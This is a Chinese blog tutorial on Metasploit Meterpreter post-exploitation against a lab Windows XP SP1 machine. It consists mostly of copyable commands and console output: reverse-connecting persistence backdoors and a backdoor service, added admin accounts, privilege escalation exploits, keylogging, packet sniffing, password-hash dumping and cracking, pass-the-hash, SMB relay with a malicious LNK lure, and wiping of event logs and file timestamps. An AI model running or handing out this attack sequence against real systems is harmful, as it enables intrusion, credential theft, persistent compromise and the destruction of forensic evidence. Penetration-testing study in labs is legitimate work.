初探Meterpreter
上一篇文章通过BeEF和Metasploit拿到了一台XP SP1的meterpreter会话
本文就进一步通过Meterpreter来蹂躏下这台可怜的XP
文章较长，可利用目录
事先说明，本博文是在BT5r3下实现的
===================================================
1.Meterpreter是什么？
仅仅是驻留在内存的shellcode。。
大概长这个样子：
它比一般的攻击手法要好一些，一般的payload是这么工作的：
(1)用payload在被攻击者机上开一个端口A (2)把命令行终端绑定到A上 (3)攻击者访问A，就与被攻击者机器交互
但这样的坏处：
(1)建一个新进程，容易被侦查 (2)攻击者和被攻击者之间的通信是通过端口互发送数据，容易被IDS侦查 (3)被攻击者可能chroot（change root directory），限权
meterpreter的优点：
(1)纯内存，所有的需要调用的API都是HOOK (2)16字节一组xor加密，SSL通信封装传输 总之就是不易被发现，什么平台通用性，可拓展性都是妥妥的。。
2.Meterpreter常用命令
基本命令：
background # 让meterpreter处于后台模式 sessions -i index # 与会话进行交互，index表示第一个session quit # 退出会话 shell # 获得控制台权限 irb # 开启ruby终端
cat c:\\boot.ini # 查看文件内容 getwd # 查看当前工作目录 work directory upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上 download nimeia.txt /root/Desktop/ # 下载文件到本机上 edit c:\\boot.ini # 编辑文件 search -d c:\\windows -f *.mdb # search 文件
网络命令：
ipconfig / ifconfig # 查看网络接口信息 portfwd add -l 5555 -p 3389 -r 192.168.198.129 # 端口转发，本机监听5555，把目标机3389转到本机5555 root@bt:~# rdesktop -u Administrator -p 123qwe 127.0.0.1:5555 route # 获取路由表信息
系统命令：
ps # 查看当前活跃进程 migrate pid # 将Meterpreter会话移植到进程数位pid的进程中 execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互 getpid # 获取当前进程的pid kill pid # 杀死进程 getuid # 查看权限 sysinfo # 查看目标机系统信息，如机器名，操作系统等 shutdown # 关机
写到这，我们给命令们排个龙虎榜吧：
第一名：ps + migrate ，因为我们是通过IE进来的，如果IE关掉了呢？如果它再也不访问那个hook页面了，我们岂不是再也get不了shell了。。
所以应该早早移植到别的进程空间，如Explorer.exe，这它不去关掉吧。。
第二名：execute ，能cmd.exe
第三名：portfwd ，端口转发，现实中基本都是要转发的~
看官们，如果你不同意我的看法，可以评论，发表下你的观点哦~~
3.Meterpreter与后渗透攻击模块
一直以为 Meterpreter == Metasploit后渗透攻击模块，结果不是这样的。
科普下Metasploit渗透测试平台的组成：
AUX辅助模块 信息搜集 Exploit模块 渗透攻击 后渗透模块 主机控制与拓展攻击的渗透测试全过程支持
Meterpreter 是Metasploit的一个payload，只是比较强大很多而已。它与后渗透模块的关系就是，前者是后者的 实施通道。
后攻击模块使用ruby写的，目标机上很可能没有ruby解释器，那怎么玩？
4.后门
1)测试是不是虚拟机：
meterpreter > run post/windows/gather/checkvm [*] Checking if EMASTER-8G5WOLV is a Virtual Machine ..... [*] This is a VMware Virtual Machine
如果是虚拟机，热情就下降了。。
也很可能是蜜罐。。
2)安装后门方法一：
meterpreter > run persistence -X -i 5 -p 443 -r 192.168.0.108 [*] Running Persistance Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/EMASTER-8G5WOLV_20131206.5032/EMASTER-8G5WOLV_20131206.5032.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=443 [*] Persistent agent script is 609628 bytes long [+] Persistent Script written to C:\WINDOWS\TEMP\lOFkqsGGtNr.vbs [*] Executing script C:\WINDOWS\TEMP\lOFkqsGGtNr.vbs [+] Agent executed with PID 1888 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tTCmdZkXLp [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tTCmdZkXLp然后它就在目标机的C:/windows/Temp/下建立一个vbs文件，开机会启动这个文件
上面的vbs的确存在，并且开机启动也有，但是就是有：
这个问题，百度后发现都是说出现这情况是中毒中马，然后教大家删东东，删自启动。。
为什么meterpreter出品的东西会在xp下这么容易暴露呢？
追查了下，NTVDM是win 16虚拟机的一部分，是win 为了向下兼容16位程序的虚拟机。
但是还是提到这么回事？
这里留个坑吧，路过的大神，如果看到，可以给我回答吗？
3)安装后门方法二：
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\JszPreYrwkWEm... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service Service metsvc successfully installed. meterpreter >
监听：31337
上传了三个dll文件
然后就在目标机器上多了一个
自启动的服务：Meterpreter。。。
然后连接：
msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set payload windows/metsvc_bind_tcp payload => windows/metsvc_bind_tcp msf exploit(handler) > set RHOST 192.168.0.111 RHOST => 192.168.0.111 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit [*] Started bind handler [*] Starting the payload handler... [*] Meterpreter session 1 opened (192.168.0.108:39406 -> 192.168.0.111:31337) at 2013-12-06 14:24:29 +0800 meterpreter >
4)getgui + 3389
觉得没什么用，不就是建立账户+加入组：''Remote Desktop Users" 和 "Administrators"，然后3389连接，如果内网就portfwd。。
这里的没什么用还得对面必须开启了3389。。
meterpreter > run getgui -u aa -p 123qwe如果没出问题的话，应该是添加了用户aa，密码为123qwe，并把它加入到那两个组中。。
然后：
msf exploit(handler) > rdesktop -u aa -p 123qwe 192.168.0.111:3389连上~
如果在内网，那么就先端口转发：
portfwd add -l 5555 -p 3389 -r 192.168.0.111 # 端口转发，本机监听5555，把目标机3389转到本机5555 root@bt:~# rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
5.提权
1) 直接了当：getsystem
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)
meterpreter >
getsystem会用四种方法去提权，(In Memory/Admin) 表示所需环境和初始权限。
meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >system 就是最高权限了。。
2) MS10-073 键盘布局文件提权漏洞
meterpreter > background
[*] Backgrounding session 5...
msf > set session 5
session => 5
msf > use post/windows/escalate/ms10_073_kbdlayout
msf post(ms10_073_kbdlayout) > exploit
[*] Attempting to elevate PID 0x278
[*] {"GetLastError"=>0, "return"=>1548}
[*] Wrote malicious keyboard layout to C:\WINDOWS\TEMP\p0wns.boom ..
[*] Allocated 0x8000 bytes of memory @ 0x60630000
[*] Initialized RWX buffer ...
[*] Current Keyboard Layout: 0x8040804
[*] Patched in syscall wrapper @ 0x60631000
[*] Successfully executed syscall wrapper!
[*] Attempting to cause the ring0 payload to execute...
[*] SendInput: {"GetLastError"=>5, "return"=>1}
[*] Post module execution completed
msf post(ms10_073_kbdlayout) >
3) MS10-092 Windows 任务计划服务提权漏洞
msf post(ms10_073_kbdlayout) > back msf > set session 5 session => 5 msf > use post/windows/escalate/ms10_092_schelevator msf post(ms10_092_schelevator) > exploit [-] Windows XP (Build 2600, Service Pack 1). is not vulnerable. [*] Post module execution completed msf post(ms10_092_schelevator) >哎，我就可耻得只能对XP SP1下手。。这点出息。。
6.窃取信息
1) dumplink 窃取近期系统操作，访问文件等记录
meterpreter > run post/windows/gather/dumplinks [*] Running module against EMASTER-8G5WOLV [*] Running as SYSTEM extracting user list... [*] Extracting lnk files for user Administrator at C:\Documents and Settings\Administrator\Recent\... [*] Processing: C:\Documents and Settings\Administrator\Recent\1.lnk. [*] Processing: C:\Documents and Settings\Administrator\Recent\KaEbvZfANVE.lnk. [*] Processing: C:\Documents and Settings\Administrator\Recent\lOFkqsGGtNr.lnk. [*] Processing: C:\Documents and Settings\Administrator\Recent\nimeia.lnk. [*] Processing: C:\Documents and Settings\Administrator\Recent\pvTdNq.lnk. [*] Processing: C:\Documents and Settings\Administrator\Recent\Temp.lnk. [*] No Recent Office files found for user Administrator. Nothing to do. [*] No Recent directory found for user LocalService. Nothing to do. [*] No Recent Office files found for user LocalService. Nothing to do. [*] No Recent directory found for user NetworkService. Nothing to do. [*] No Recent Office files found for user NetworkService. Nothing to do.
2) 键盘记录
大部分时候会成功，如果获取不到重连一下：
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... dir <Return> cd <Ctrl> <LCtrl> zhuomian1 <Back> <Back> <Back> <Back> 11 <Back> <Back> zhuo <Return> =-1 <Tab> <Return> <CapsLock> dir <Return> <Back> <Back> <Back> <Back> <Ctrl> <LCtrl> dir <CapsLock> <Back> <Back> r <Back> ir <Return> meterpreter > keyscan_dump Dumping captured keystrokes... <Return> <Return> <N5> <N6> <N4> <N5> <N4> <N5> <N9> <N1> <N3> xugyabq <Back> <Back> ihuanqiiq <Return> http://blog.csdn.net/xihuanqiqi <Ctrl> <LCtrl> s <Back> <Back> <Back> <Back> emaster <Left> -- <Back> <Back> _ <Ctrl> <LCtrl> s meterpreter > keyscan_stop Stopping the keystroke sniffer... meterpreter >
3) enum_applications 补丁，更新，杀软等
meterpreterun > run post/windows/gather/enum_applications [*] Enumerating applications installed on EMASTER-8G5WOLV Installed Applications ====================== Name Version ---- ------- Adobe Flash Player 11 ActiveX 11.9.900.152 VMware Tools 8.1.4.11056 WebFldrs XP 9.50.6513 Windows Installer 3.1 (KB893803) 3.1 [*] Results stored in: /root/.msf4/loot/20131206164307_default_192.168.0.111_host.application_476551.txt meterpreter >
7.系统口令窃取
1) sniffer 网络嗅探
meterpreter > use sniffer Loading extension sniffer...success. meterpreter > sniffer_interfaces 1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:false wifi:false ) meterpreter > sniffer_interfaces 1 1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:false wifi:false ) meterpreter > sniffer_start 1 [*] Capture started on interface 1 (50000 packet buffer) meterpreter > sniffer_dump 1 /tmp/xpsp1.cap [*] Flushing packet capture buffer for interface 1... [*] Flushed 355 packets (101378 bytes) [*] Downloaded 100% (101378/101378)... [*] Download completed, converting to PCAP... [*] PCAP file written to /tmp/xpsp1.cap meterpreter > sniffer_stop 1 [*] Capture stopped on interface 1 [*] There are 157 packets (40891 bytes) remaining [*] Download or release them using 'sniffer_dump' or 'sniffer_release' meterpreter >
然后在shell中中输入：wireshark，加载这个/tmp/xpsp1.cap包即可：
2) IE 缓存
meterpreter > run post/windows/gather/enum_ie [*] IE Version: 6.0.2800.1106 [-] This module will only extract credentials for >= IE7 [*] Retrieving history..... File: C:\Documents and Settings\LocalService\Local Settings\History\History.IE5\index.dat [*] Retrieving cookies..... File: C:\Documents and Settings\LocalService\Cookies\index.dat [*] Looping through history to find autocomplete data.... [-] No autocomplete entries found in registry [*] Looking in the Credential Store for HTTP Authentication Creds... meterpreter >这里说IE7以上才有效。。
3) hash抓取并crack
在研究怎么抓hash前，先对BT5连接数据库说下：
msf auxiliary(jtr_crack_fast) > cat /opt/metasploit/config/database.yml [*] exec: cat /opt/metasploit/config/database.yml # # These settings are for the database used by the Metasploit Framework # unstable tree included in this installer, not the commercial editions. # development: adapter: "postgresql" database: "msf3dev" username: "msf3" password: "4bfedfc2" port: 7337 host: "localhost" pool: 256 timeout: 5 production: adapter: "postgresql" database: "msf3dev" username: "msf3" password: "4bfedfc2" port: 7337 host: "localhost" pool: 256 timeout: 5 msf auxiliary(jtr_crack_fast) > db_connect msf3:[email protected]:7337/msf3dev连接的格式： db_connect 用户名:密码@localhost:端口/数据库名字
这些都放在/opt/metasploit/config/database.yml中
如果遇到：gem install pg
那么是配置问题：
vi /opt/metasploit/msf3/msfconsole change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.
具体为什么这么改可参考： 解决过程
至此，数据库完成，多嘴一句，每次启动msf要手动db_connect。。
普通做法一：
msf exploit(handler) > use post/windows/gather/hashdump msf post(hashdump) > set session 1 session => 1 msf post(hashdump) > exploit [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 69f8b1cc8404c6c59864966365d3a7b8... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes...

但是这样子，这样的不好之处：
在非sysytem权限下无效。。 在win7，vista，win2008不稳定。。 在UAC（User Account Control）下失效。。
智能做法：
meterpreter > run post/windows/gather/smart_hashdump [*] Running module against EMASTER-8G5WOLV [*] Hashes will be saved to the database if one is connected. [*] Hashes will be saved in loot in JtR password file format to: [*] /root/.msf4/loot/20131207144502_default_192.168.0.111_windows.hashes_582943.txt [*] Dumping password hashes...

[+] Administrator:500:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011::: [+] HelpAssistant:1000:866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb::: [+] SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881::: meterpreter >
智能的流程（当拓展阅读看看）：
检查已有权限+系统类型 检查是否为域控制器 从注册表读hash，若失败，注入LSASS进程；若域控制器，直接注入LSASS进程 若win2008+会话管理员权限，尝试使用getsystem，若在system不能注入LSASS，先migrate到system权限下的进程，继续注入LSASS 若win7/Vista+UAC关闭+会话管理员权限，尝试getsystem，读取hash 若win2003/xp/2000，直接getsystem，读取hash

用John The Ripper来破解：
这是一款开源的，集成多个解密算法的，针对Unix/Linux（当然也可以win）弱口令密码的破解，幸好msf集成这个大杀器。。

可以看到，我在xp设置的弱口令密码：123qwe已经被破解出来了。。但是这个jtr对于强度较高的密码没治。。
8.内网渗透
1)添加路由
很多时候，DMZ跳内网需要跳板，msf的add route很方便就能跳板：
当前会话是1，MSF下：route 内网subnet 子网掩码 sessionID
meterpreter > run get_local_subnets Local subnet: 192.168.0.0/255.255.255.0 meterpreter > background [*] Backgrounding session 1... msf auxiliary(jtr_crack_fast) > route add 192.168.0.0 255.255.255.0 1 [*] Route added msf auxiliary(jtr_crack_fast) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.0.0 255.255.255.0 Session 1 msf auxiliary(jtr_crack_fast) >这样子msf就成功得在会话1上添加了192.168.0.0/24 这个网段的路由，所有攻击者对这网段的流量都通过会话1转发。
2) 445端口扫描-共享文件/共享打印机服务
通俗点就是IPC$，知道了吗。。
这个我就贴出命令吧，我感觉没多大用，扫描用nmap即可。。
msf auxiliary(jtr_crack_fast) > set RHOSTS 192.168.0.0/24 RHOST => 192.168.0.0/24 msf auxiliary(jtr_crack_fast) > set PORTS 445 PORTS => 445 msf auxiliary(jtr_crack_fast) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > run莫名的扫不出结果，run后一直静止。。
3) psexec攻击445端口-SMB-HASH传递
msf exploit(psexec) > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(psexec) > set LHOST 192.168.0.108 LHOST => 192.168.0.108 msf exploit(psexec) > set LPORT 443 LPORT => 443 msf exploit(psexec) > set RHOST 192.168.0.111 RHOST => 192.168.0.111 msf exploit(psexec) > set SMBPass daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011 SMBPass => daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011 msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.0.108:443 [*] Connecting to the server... [*] Authenticating to 192.168.0.111:445|WORKGROUP as user ''... [-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0) msf exploit(psexec) >
额，这是个失败的例子，但是如果有人登陆了这台机器，使用了它的SMB服务，而我们设置的SMBPass（这是在其它地方找到的hash）命中，就ok了。。
虽然是靠运气，但是，靠
hash传递（而不用crack），也是个好方法。。
4) MS10-046 + MS08-068 + 自己搭建SMB服务器 坐等鱼儿上钩
搭建SMB服务器：
msf post(droplnk) > use exploit/windows/smb/smb_relay msf exploit(smb_relay) > show options Module options (exploit/windows/smb/smb_relay): Name Current Setting Required Description ---- --------------- -------- ----------- SMBHOST no The target SMB server (leave empty for originating system) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) Exploit target: Id Name -- ---- 0 Automatic msf exploit(smb_relay) > set SRVHOST 192.168.0.108 SRVHOST => 192.168.0.108 msf exploit(smb_relay) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(smb_relay) > set LHOST 192.168.0.108 LHOST => 192.168.0.108 msf exploit(smb_relay) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.108:4444 [*] Server started. msf exploit(smb_relay) >
MS10-046 LNK快捷方式文件漏洞，貌似能提权
存在于shell32.dll当中，windows的程序加载快捷方式的图标。当图标存在于用户的DLL中时，构造恶意的LNK文件指向这个DLL。。 系统解析没做好参数验证，导致用户DLL被加载执行。。
msf exploit(psexec) > use post/windows/escalate/droplnk msf post(droplnk) > show options Module options (post/windows/escalate/droplnk): Name Current Setting Required Description ---- --------------- -------- ----------- ICONFILENAME icon.png yes File name on LHOST's share LHOST yes Host listening for incoming SMB/WebDAV traffic LNKFILENAME Words.lnk yes Shortcut's filename SESSION yes The session to run this module on. SHARENAME share1 yes Share name on LHOST msf post(droplnk) > set LHOST 192.168.0.108 LHOST => 192.168.0.108 msf post(droplnk) > set session 1 session => 1 msf post(droplnk) > exploit [*] Creating evil LNK [*] Done. Writing to disk - C:\WINDOWS\system32\Words.lnk [*] Done. Wait for evil to happen.. [*] Post module execution completed msf post(droplnk) >
过程：
我们把这个C:\Windows\system32\Words.lnk文件复制到内网共享文件夹中。。坐等别人点击。。 如果有人同事A点击了，这个lnk文件，就触发MS10-046漏洞。。那么A就访问我们搭建的恶意SMB服务器，这也就触发了MS08-068漏洞。。 这两个漏洞合作，让人一看就挂。。
拓展阅读：
NT LAN Manager早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制，简称LM，它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制，称之为NTLM。 MS08-068是SMB在处理NTLM的一个漏洞。当目标机访问攻击者的恶意SMB服务器时，攻击者延时发送SMB响应，提取目标机上的NTLM的HASH对目标机进行回重放，达到身份认证的目的。。
9.毁灭证据
1) clearev
meterpreter > clearev [*] Wiping 148 records from Application... [*] Wiping 335 records from System... [*] Wiping 0 records from Security... meterpreter >
2) timestomp
meterpreter > ls Listing: c:\ ============ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 0 fil 2013-12-07 16:44:55 +0800 1.txt.txt 100666/rw-rw-rw- 68 fil 2013-12-07 12:28:07 +0800 nimeia.txt meterpreter > timestomp 1.txt.txt -f nimeia.txt [*] Setting MACE attributes on 1.txt.txt from nimeia.txt meterpreter > ls Listing: c:\ ============ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 0 fil 2013-12-07 12:28:07 +0800 1.txt.txt 100666/rw-rw-rw- 68 fil 2013-12-07 12:28:07 +0800 nimeia.txt meterpreter >
这样子，修改了文件的时间，也就不容易被人发觉。。
